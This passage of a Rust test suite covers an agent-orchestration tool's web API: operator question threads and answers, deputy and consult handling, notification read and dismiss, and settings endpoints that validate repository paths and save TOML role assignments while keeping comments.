12100 .unwrap();
12101 let path = format!("/api/questions/{id}/say");
12102 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12103 assert_eq!(refused.status, 422, "{}", refused.body);
12104 assert!(
12105 refused.json()["error"]
12106 .as_str()
12107 .unwrap()
12108 .contains("deputy_exhausted")
12109 );
12110 assert!(store.get(&id).unwrap().thread.is_empty());
12111
12112 store.beat(&id, ask::WaiterKind::Deputy);
12114 let view = fx.get("/api/questions").await.json();
12115 assert_eq!(view[0]["text_delivery"]["state"], "live");
12116 let accepted = fx
12117 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12118 .await;
12119 assert_eq!(accepted.status, 200, "{}", accepted.body);
12120 let before = std::fs::read(store.path_of(&id)).unwrap();
12121
12122 store.drop_lease(&id);
12125 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12126 assert_eq!(refused.status, 422, "{}", refused.body);
12127 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12128 let held = fx
12129 .post(
12130 &format!("/api/questions/{id}/answer"),
12131 Some(r#"{"choice":"hold"}"#),
12132 )
12133 .await;
12134 assert_eq!(held.status, 200, "{}", held.body);
12135 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12136 }
12137
12138 #[tokio::test]
12139 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12140 let repo = tempfile::tempdir().unwrap();
12141 let mut cfg = stub_config();
12142 cfg.daemon.max_deputies = 0;
12143 std::fs::write(
12144 repo.path().join("magi.toml"),
12145 toml::to_string(&cfg).unwrap(),
12146 )
12147 .unwrap();
12148 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12149 let mut status = crate::daemon::Status::new();
12150 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12151 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12152 let id = ask(&fx, "Explain?", &["hold"]);
12153 fx.questions()
12154 .update(&id, |q| {
12155 q.node = crate::land::APPROVAL_NODE.into();
12156 q.deputy = Some(ask::Deputy::new("context".into()));
12157 q.deputy.as_mut().unwrap().agent = "stub".into();
12158 Ok(())
12159 })
12160 .unwrap();
12161 cfg.daemon.max_deputies = 1;
12162 std::fs::write(
12163 repo.path().join("magi.toml"),
12164 toml::to_string(&cfg).unwrap(),
12165 )
12166 .unwrap();
12167 let view = fx.get("/api/questions").await.json();
12168 assert_eq!(view[0]["deputies_enabled"], true);
12169 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12170 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12171 let res = fx
12172 .post(
12173 &format!("/api/questions/{id}/say"),
12174 Some(r#"{"body":"Please explain"}"#),
12175 )
12176 .await;
12177 assert_eq!(res.status, 422, "{}", res.body);
12178 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12179 }
12180
12181 #[tokio::test]
12182 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12183 let fx = Fixture::start().await;
12184 let id = ask(&fx, "No seat", &[]);
12185 let store = fx.questions();
12186 let before = std::fs::read(store.path_of(&id)).unwrap();
12187 let res = fx
12188 .post(
12189 &format!("/api/questions/{id}/say"),
12190 Some(r#"{"body":"hello"}"#),
12191 )
12192 .await;
12193 assert_eq!(res.status, 422, "{}", res.body);
12194 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12195 let res = fx
12196 .post(
12197 &format!("/api/questions/{id}/answer"),
12198 Some(r#"{"text":"hello"}"#),
12199 )
12200 .await;
12201 assert_eq!(res.status, 200, "{}", res.body);
12202 assert_eq!(
12203 store.get(&id).unwrap().resolution().as_deref(),
12204 Some("hello")
12205 );
12206 }
12207
12208 #[tokio::test]
12209 async fn saying_something_appends_a_turn_without_answering() {
12210 let fx = Fixture::start().await;
12211 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12212 fx.questions().beat(&id, ask::WaiterKind::Asker);
12213 let path = format!("/api/questions/{id}/say");
12214
12215 let res = fx
12216 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12217 .await;
12218 assert_eq!(res.status, 200, "{}", res.body);
12219 let body = res.json();
12220 assert_eq!(body["status"], "open", "talking back is not a decision");
12221 assert_eq!(body["answer"], Value::Null);
12222 assert_eq!(body["thread"][0]["who"], "operator");
12223 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12224 assert_eq!(body["waiting_on_agent"], true);
12225 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12227 }
12228
12229 #[tokio::test]
12230 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12231 let fx = Fixture::start().await;
12232 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12233
12234 let list = fx.get("/api/questions").await.json();
12235 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12236
12237 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12238 assert_eq!(res.status, 409, "{}", res.body);
12239 let q = fx.questions().get(&id).unwrap();
12240 assert!(q.status.open());
12241 assert!(q.consult.is_none());
12242 }
12243
12244 #[tokio::test]
12245 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12246 let fx = Fixture::start().await;
12247 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12248 let cfg = Config {
12249 agents: vec![crate::config::AgentSpec {
12250 id: "mock".to_owned(),
12251 kind: crate::config::AgentKind::Command,
12252 model: None,
12253 command: vec!["true".to_owned()],
12254 extra_args: Vec::new(),
12255 env: Default::default(),
12256 prompt_delivery: None,
12257 max_turn_secs: None,
12258 }],
12259 ..Config::default()
12260 };
12261 let talk = crate::talk::begin(
12262 &fx.talks(),
12263 &cfg,
12264 fx.home.path().to_path_buf(),
12265 Some("mock"),
12266 )
12267 .unwrap();
12268 let mut task = Task::new(
12269 "t".to_owned(),
12270 "Do it".to_owned(),
12271 PathBuf::from("/repo/magi"),
12272 Source::Agent {
12273 run: talk.id.clone(),
12274 node: crate::queue::CHAT_NODE.to_owned(),
12275 },
12276 );
12277 task.start("20260902-000000-beef".to_owned());
12278 fx.queue().put(&mut task).unwrap();
12279
12280 let list = fx.get("/api/questions").await.json();
12281 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12282 assert_eq!(
12283 list[0]["choices"],
12284 serde_json::json!(["SQLite", "Redis"]),
12285 "the hand-over is never a choice"
12286 );
12287 fx.questions()
12288 .update(&id, |q| {
12289 q.node = crate::land::APPROVAL_NODE.into();
12290 q.choices = vec!["merge".into(), "hold".into()];
12291 Ok(())
12292 })
12293 .unwrap();
12294 let list = fx.get("/api/questions").await.json();
12295 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12296 assert_eq!(list[0]["can_consult_chat"], true);
12297 fx.questions()
12298 .update(&id, |q| {
12299 q.node = crate::bump::NOTICE_NODE.into();
12300 Ok(())
12301 })
12302 .unwrap();
12303 let list = fx.get("/api/questions").await.json();
12304 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12305 assert_eq!(list[0]["can_consult_chat"], false);
12306 }
12307
12308 #[tokio::test]
12309 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12310 let fx = Fixture::start().await;
12311 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12312 fx.questions()
12313 .update(&id, |q| {
12314 q.node = crate::land::APPROVAL_NODE.into();
12315 q.choices = vec!["merge".into(), "hold".into()];
12316 Ok(())
12317 })
12318 .unwrap();
12319 let cfg = Config {
12320 agents: vec![crate::config::AgentSpec {
12321 id: "mock".to_owned(),
12322 kind: crate::config::AgentKind::Command,
12323 model: None,
12324 command: vec!["true".to_owned()],
12325 extra_args: Vec::new(),
12326 env: Default::default(),
12327 prompt_delivery: None,
12328 max_turn_secs: None,
12329 }],
12330 ..Config::default()
12331 };
12332 let repo = fx.home.path().join("chat-repo");
12334 std::fs::create_dir_all(&repo).unwrap();
12335 let toml = repo.join("magi.toml");
12336 std::fs::write(&toml, "this is = = not toml").unwrap();
12337 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12338 let mut task = Task::new(
12339 "t".to_owned(),
12340 "Do it".to_owned(),
12341 PathBuf::from("/repo/magi"),
12342 Source::Agent {
12343 run: talk.id.clone(),
12344 node: crate::queue::CHAT_NODE.to_owned(),
12345 },
12346 );
12347 task.start("20260902-000000-beef".to_owned());
12348 fx.queue().put(&mut task).unwrap();
12349
12350 let path = format!("/api/questions/{id}/consult");
12351 let res = fx.post(&path, None).await;
12352 assert!(res.status >= 400, "{}", res.body);
12353 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12354 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12355
12356 std::fs::write(&toml, "").unwrap();
12357 let res = fx.post(&path, None).await;
12358 assert_eq!(res.status, 202, "{}", res.body);
12359 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12360 let q = fx.questions().get(&id).unwrap();
12361 assert!(q.status.open());
12362 assert!(q.answer.is_none());
12363 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12364 assert_eq!(res.json()["can_consult_chat"], true);
12365 let list = fx.get("/api/questions").await.json();
12366 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12367 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12368
12369 let res = fx
12370 .post(
12371 &format!("/api/questions/{id}/answer"),
12372 Some(r#"{"choice":"hold"}"#),
12373 )
12374 .await;
12375 assert_eq!(res.status, 200, "{}", res.body);
12376 assert_eq!(res.json()["answer"]["choice"], "hold");
12377 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12378 assert_eq!(res.json()["can_consult_chat"], false);
12379 assert_eq!(fx.post(&path, None).await.status, 409);
12380
12381 let mut talk = fx.talks().get(&talk.id).unwrap();
12382 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12383 let list = fx.get("/api/questions").await.json();
12384 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12385 assert_eq!(list[0]["origin_chat_closed"], true);
12386 assert_eq!(list[0]["can_consult_chat"], false);
12387
12388 fx.talks().remove(&talk.id).unwrap();
12389 let list = fx.get("/api/questions").await.json();
12390 assert_eq!(list[0]["origin_chat"], Value::Null);
12391 assert_eq!(list[0]["origin_chat_closed"], false);
12392 assert_eq!(list[0]["can_consult_chat"], false);
12393 }
12394
12395 #[tokio::test]
12396 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12397 let fx = Fixture::start().await;
12398 let store = fx.questions();
12399 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12400 store.beat(&id, ask::WaiterKind::Asker);
12401 assert_eq!(
12402 fx.get("/api/health").await.json()["questions_needs_owner"],
12403 1
12404 );
12405
12406 let res = fx
12412 .post(
12413 &format!("/api/questions/{id}/say"),
12414 Some(r#"{"body":"why not Postgres?"}"#),
12415 )
12416 .await;
12417 assert_eq!(res.status, 200, "{}", res.body);
12418 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12419 assert_eq!(
12420 fx.get("/api/health").await.json()["questions_needs_owner"],
12421 0,
12422 "waiting on the agent is not waiting on the owner"
12423 );
12424
12425 let mut q = store.get(&id).expect("get");
12429 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12430 .expect("reply");
12431 store.put(&mut q).expect("put");
12432 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12433 assert_eq!(
12434 fx.get("/api/health").await.json()["questions_needs_owner"],
12435 1,
12436 "the agent's reply is what should light the banner back up"
12437 );
12438 }
12439
12440 #[tokio::test]
12441 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12442 let fx = Fixture::start().await;
12443 let store = fx.questions();
12444
12445 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12446 let res = fx
12447 .post(
12448 &format!("/api/questions/{empty_id}/say"),
12449 Some(r#"{"body":" "}"#),
12450 )
12451 .await;
12452 assert_eq!(res.status, 400, "{}", res.body);
12453
12454 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12455 let mut answered = store.get(&answered_id).expect("get");
12456 answered
12457 .answer(Answer::Choice("SQLite".to_owned()))
12458 .expect("answer");
12459 store.put(&mut answered).expect("put");
12460 let res = fx
12461 .post(
12462 &format!("/api/questions/{answered_id}/say"),
12463 Some(r#"{"body":"still there?"}"#),
12464 )
12465 .await;
12466 assert_eq!(res.status, 409, "{}", res.body);
12467
12468 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12469 let mut abandoned = store.get(&abandoned_id).expect("get");
12470 abandoned.abandon("timed out");
12471 store.put(&mut abandoned).expect("put");
12472 let res = fx
12473 .post(
12474 &format!("/api/questions/{abandoned_id}/say"),
12475 Some(r#"{"body":"still there?"}"#),
12476 )
12477 .await;
12478 assert_eq!(res.status, 409, "{}", res.body);
12479 }
12480
12481 #[tokio::test]
12482 async fn an_answer_the_question_does_not_offer_is_refused() {
12483 let fx = Fixture::start().await;
12484 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12485 let path = format!("/api/questions/{id}/answer");
12486
12487 for body in [
12488 r#"{"choice":"Postgres"}"#,
12489 r#"{"text":"whatever you think"}"#,
12490 r#"{"choice":"Redis","text":"both"}"#,
12491 r#"{}"#,
12492 ] {
12493 let res = fx.post(&path, Some(body)).await;
12494 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12495 assert!(res.json()["error"].is_string(), "{}", res.body);
12496 }
12497 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12499 }
12500
12501 #[tokio::test]
12502 async fn a_free_text_question_takes_text_and_not_a_choice() {
12503 let fx = Fixture::start().await;
12504 let id = ask(&fx, "What should the flag be called?", &[]);
12505 fx.questions().beat(&id, ask::WaiterKind::Asker);
12506 let path = format!("/api/questions/{id}/answer");
12507
12508 assert_eq!(
12509 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12510 400
12511 );
12512 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12513 assert_eq!(res.status, 200, "{}", res.body);
12514 assert_eq!(res.json()["answer"]["text"], "--json");
12515 }
12516
12517 #[tokio::test]
12518 async fn an_unknown_question_is_a_json_404() {
12519 let fx = Fixture::start().await;
12520 let res = fx
12521 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12522 .await;
12523 assert_eq!(res.status, 404, "{}", res.body);
12524 assert!(res.json()["error"].is_string());
12525 }
12526
12527 #[tokio::test]
12528 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12529 let fx = Fixture::start().await;
12530 let questions = Questions::at(fx.home.path().join("questions"));
12531 let store = Notices::at(fx.home.path().join("notifications"));
12532 let mut q = ask::Question::new(
12533 "t1".into(),
12534 "conduct".into(),
12535 "conductor".into(),
12536 "Continue?".into(),
12537 String::new(),
12538 Vec::new(),
12539 );
12540 questions.put(&mut q).unwrap();
12541 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12542 n.covered_by = Some(q.id.clone());
12543 let n = store.raise(n).unwrap();
12544 let listed = fx.get("/api/notifications").await.json();
12545 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12546 questions
12547 .update(&q.id, |q| {
12548 q.abandon("run gone");
12549 Ok(())
12550 })
12551 .unwrap();
12552 let listed = fx.get("/api/notifications").await.json();
12553 assert!(listed["items"][0]["answerable_question"].is_null());
12554 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12555 assert!(
12556 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12557 .unwrap()
12558 .contains("answerable_question")
12559 );
12560 }
12561
12562 #[tokio::test]
12563 async fn notifications_list_read_dismiss_and_health_agree() {
12564 let fx = Fixture::start().await;
12565 let store = Notices::at(fx.home.path().join("notifications"));
12566 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12567 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12568
12569 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12570 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12571
12572 store
12573 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12574 .unwrap();
12575 let health = fx.get("/api/health").await.json();
12576 assert_eq!(health["notifications_unread"], 2);
12577 assert_ne!(
12578 health["notifications_rev"], rev0,
12579 "the badge must move live"
12580 );
12581
12582 let listed = fx.get("/api/notifications").await.json();
12583 assert_eq!(listed["unread"], 2);
12584 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12585 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12586
12587 let read = fx
12588 .post(&format!("/api/notifications/{}/read", a.id), None)
12589 .await;
12590 assert_eq!(read.status, 200, "{}", read.body);
12591 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12592
12593 let gone = fx
12594 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12595 .await;
12596 assert_eq!(gone.status, 200, "{}", gone.body);
12597 let listed = fx.get("/api/notifications").await.json();
12598 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12599 assert_eq!(listed["unread"], 0);
12600
12601 store.raise(Notice::info("x", "again")).unwrap();
12602 let all = fx.post("/api/notifications/read-all", None).await;
12603 assert_eq!(all.status, 200, "{}", all.body);
12604 assert_eq!(all.json()["marked"], 1);
12605 assert_eq!(
12606 fx.get("/api/health").await.json()["notifications_unread"],
12607 0
12608 );
12609
12610 let missing = fx.post("/api/notifications/nope/read", None).await;
12611 assert_eq!(missing.status, 404, "{}", missing.body);
12612 assert!(missing.json()["error"].is_string());
12613 }
12614
12615 #[tokio::test]
12622 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12623 let f = Fixture::start().await;
12624
12625 let res = f
12626 .post(
12627 "/api/queue",
12628 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12629 )
12630 .await;
12631
12632 assert_eq!(
12633 res.status, 405,
12634 "POST /api/queue must not be a route: {}",
12635 res.body
12636 );
12637 assert!(
12638 f.queue().list().is_empty(),
12639 "a task filed by a route that does not exist must not reach the disk"
12640 );
12641 assert_eq!(f.get("/api/queue").await.status, 200);
12644 }
12645
12646 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12648 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12649 .expect("checkout dir");
12650 }
12651
12652 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
12654
12655 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
12656 let tmp = TempDir::new().expect("tempdir");
12657 let repo = tmp.path().join("repo");
12658 std::fs::create_dir_all(&repo).expect("repo dir");
12659 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
12660 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
12661 if let Some(text) = machine_toml {
12662 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
12663 std::fs::write(&machine, text).expect("machine toml");
12664 }
12665 (tmp, repo, machine)
12666 }
12667
12668 async fn settings_checkout(path: &FsPath, text: &str) {
12669 std::fs::create_dir_all(path).unwrap();
12670 std::fs::write(path.join("magi.toml"), text).unwrap();
12671 for args in [
12672 vec!["init", "-b", "main"],
12673 vec!["add", "magi.toml"],
12674 vec![
12675 "-c",
12676 "user.name=Test",
12677 "-c",
12678 "user.email=test@example.invalid",
12679 "commit",
12680 "-m",
12681 "fixture",
12682 ],
12683 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
12684 vec![
12685 "symbolic-ref",
12686 "refs/remotes/origin/HEAD",
12687 "refs/remotes/origin/main",
12688 ],
12689 ] {
12690 crate::git::git(path, &args).await.unwrap();
12691 }
12692 }
12693
12694 #[tokio::test]
12695 async fn settings_context_handlers_validate_and_save_without_a_socket() {
12696 let (tmp, repo, machine) =
12697 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
12698 let root = tmp.path().join("roots");
12699 let selected = root.join("host/owner/selected");
12700 settings_checkout(
12701 &selected,
12702 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
12703 )
12704 .await;
12705 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
12706 let before = std::fs::read(&machine).unwrap();
12707 let ui = Arc::new(
12708 Ui::new(
12709 Queue::at(tmp.path().join("queue")),
12710 Questions::at(tmp.path().join("questions")),
12711 Talks::at(tmp.path().join("talks")),
12712 tmp.path().join("runs"),
12713 tmp.path().to_path_buf(),
12714 repo.clone(),
12715 )
12716 .with_machine_config(Some(machine.clone())),
12717 );
12718 let query = || {
12719 Query(SettingsQuery {
12720 repo: Some(selected.clone()),
12721 })
12722 };
12723 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
12724 assert!(v.error.is_none(), "{:?}", v.error);
12725 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
12726 assert_eq!(conductor.source, "repo");
12727 assert_eq!(
12728 conductor.machine_value,
12729 Some(toml::Value::String("a".into()))
12730 );
12731 assert!(!conductor.editable);
12732 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
12733 assert_eq!(
12734 judges.count.as_ref().unwrap().machine_value,
12735 Some(toml::Value::Integer(1))
12736 );
12737 assert!(
12738 !v.roles
12739 .iter()
12740 .find(|r| r.key == "reviewers")
12741 .unwrap()
12742 .editable
12743 );
12744 let unknown = || {
12745 Query(SettingsQuery {
12746 repo: Some(tmp.path().to_path_buf()),
12747 })
12748 };
12749 assert_eq!(
12750 settings_get(State(ui.clone()), unknown())
12751 .await
12752 .unwrap_err()
12753 .status,
12754 StatusCode::UNPROCESSABLE_ENTITY
12755 );
12756 let body = || {
12757 Ok(Json(RolesBody {
12758 revision: v.revision.clone(),
12759 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
12760 counts: Default::default(),
12761 }))
12762 };
12763 assert_eq!(
12764 settings_put_roles(State(ui.clone()), unknown(), body())
12765 .await
12766 .unwrap_err()
12767 .status,
12768 StatusCode::UNPROCESSABLE_ENTITY
12769 );
12770 assert_eq!(std::fs::read(&machine).unwrap(), before);
12771 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
12772 .await
12773 .unwrap();
12774 assert_eq!(
12775 saved.repo,
12776 selected.canonicalize().unwrap().display().to_string()
12777 );
12778 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12779 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12780 let fresh = root.join("host/owner/fresh");
12782 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
12783 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
12784 .await
12785 .unwrap();
12786 assert_eq!(fresh_view.repositories.len(), 3);
12787 }
12788
12789 #[tokio::test]
12790 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
12791 let (tmp, repo, machine) = settings_dirs(
12792 "[roles]\nreviewers = [\"a\"]\n",
12793 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
12794 );
12795 let root = tmp.path().join("roots");
12796 let selected = root.join("host/owner/selected");
12797 settings_checkout(
12798 &selected,
12799 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
12800 )
12801 .await;
12802 let broken = root.join("host/owner/broken");
12803 settings_checkout(&broken, "[roles\nbroken").await;
12804 let machine_text = format!(
12805 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12806 toml::Value::String(root.display().to_string())
12807 );
12808 std::fs::write(&machine, &machine_text).unwrap();
12809 let originals: Vec<_> = [&repo, &selected, &broken]
12810 .iter()
12811 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12812 .collect();
12813 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12814 let default = f.get("/api/settings").await.json();
12815 assert_eq!(
12816 default["repo"],
12817 repo.canonicalize().unwrap().display().to_string()
12818 );
12819 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12820 let query = format!("?repo={}", selected.display());
12821 let res = f.get(&format!("/api/settings{query}")).await;
12822 assert_eq!(res.status, 200, "{}", res.body);
12823 let v = res.json();
12824 assert!(v["error"].is_null(), "{v}");
12825 assert_eq!(v["repositories"], default["repositories"]);
12826 let role = |key: &str| {
12827 v["roles"]
12828 .as_array()
12829 .unwrap()
12830 .iter()
12831 .find(|r| r["key"] == key)
12832 .unwrap()
12833 };
12834 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
12835 assert_eq!(role("advisors")["source"], "repo");
12836 assert_eq!(role("advisors")["editable"], false);
12837 assert!(role("advisors")["machine_value"].is_null());
12838 assert_eq!(role("judges")["count"]["value"], 2);
12839 assert_eq!(role("judges")["count"]["machine_value"], 1);
12840 assert_eq!(role("judges")["count"]["source"], "repo");
12841 let source = role("judges")["count"]["source_path"].as_str().unwrap();
12842 assert!(
12843 source.contains("origin/main") && !source.contains("magi/config/"),
12844 "{source}"
12845 );
12846 assert_eq!(
12847 role("reviewers")["editable"],
12848 false,
12849 "default context outside roots must protect its declarations"
12850 );
12851 let body =
12852 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
12853 let unknown = format!("?repo={}", tmp.path().display());
12854 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
12855 assert_eq!(
12856 f.put(&format!("/api/settings/roles{unknown}"), &body)
12857 .await
12858 .status,
12859 422
12860 );
12861 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
12862 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
12863 .to_string();
12864 assert_eq!(
12865 f.put(&format!("/api/settings/roles{query}"), &refuse)
12866 .await
12867 .status,
12868 422
12869 );
12870 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
12871 assert_eq!(saved.status, 200, "{}", saved.body);
12872 assert_eq!(saved.json()["repo"], v["repo"]);
12873 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
12874 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
12875 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
12876 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
12877 }
12878 let error = f
12879 .get(&format!("/api/settings?repo={}", broken.display()))
12880 .await;
12881 assert_eq!(error.status, 200);
12882 assert!(error.json()["error"]["message"].is_string());
12883 assert_eq!(error.json()["repositories"], default["repositories"]);
12884 }
12885
12886 #[tokio::test]
12887 async fn settings_get_reports_sources_and_the_advisors_fallback() {
12888 let (_tmp, repo, machine) =
12889 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
12890 let f = Fixture::with_repo_and_machine(repo, machine).await;
12891 let res = f.get("/api/settings").await;
12892 assert_eq!(res.status, 200, "{}", res.body);
12893 let v = res.json();
12894 assert!(v["error"].is_null(), "{v}");
12895 let role = |k: &str| {
12896 v["roles"]
12897 .as_array()
12898 .and_then(|r| r.iter().find(|x| x["key"] == k))
12899 .cloned()
12900 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12901 };
12902 assert_eq!(role("judges")["source"], "machine");
12903 assert_eq!(role("judges")["editable"], true);
12904 assert_eq!(role("implementers")["source"], "default");
12905 let adv = role("advisors");
12906 assert_eq!(adv["fallback"], "judges");
12907 assert!(
12908 adv["seats"]
12909 .as_array()
12910 .is_some_and(|s| s.iter().all(|x| x == "b")),
12911 "{adv}"
12912 );
12913 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
12914 assert_eq!(v["agents"][0]["source"], "repo");
12915 }
12916
12917 #[tokio::test]
12918 async fn settings_get_reports_a_config_that_does_not_parse() {
12919 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12920 let f = Fixture::with_repo_and_machine(repo, machine).await;
12921 let res = f.get("/api/settings").await;
12922 assert_eq!(res.status, 200, "{}", res.body);
12923 let v = res.json();
12924 assert!(v["error"]["message"].is_string(), "{v}");
12925 assert!(
12926 v["error"]["path"]
12927 .as_str()
12928 .is_some_and(|p| p.ends_with("magi.toml")),
12929 "{v}"
12930 );
12931 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12932 }
12933
12934 #[tokio::test]
12935 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12936 let (_tmp, repo, machine) = settings_dirs(
12937 SETTINGS_AGENTS,
12938 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
12939 );
12940 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12941 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12942 let rev = f.get("/api/settings").await.json()["revision"]
12943 .as_str()
12944 .expect("revision")
12945 .to_owned();
12946 let body = serde_json::json!({
12947 "revision": rev,
12948 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12949 })
12950 .to_string();
12951 let res = f.put("/api/settings/roles", &body).await;
12952 assert_eq!(res.status, 200, "{}", res.body);
12953 let text = std::fs::read_to_string(&machine).expect("machine");
12954 assert_eq!(
12955 text,
12956 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12957 );
12958 assert_eq!(
12959 std::fs::read(repo.join("magi.toml")).expect("read"),
12960 repo_before
12961 );
12962 let again = f.get("/api/settings").await.json();
12963 let judges = again["roles"]
12964 .as_array()
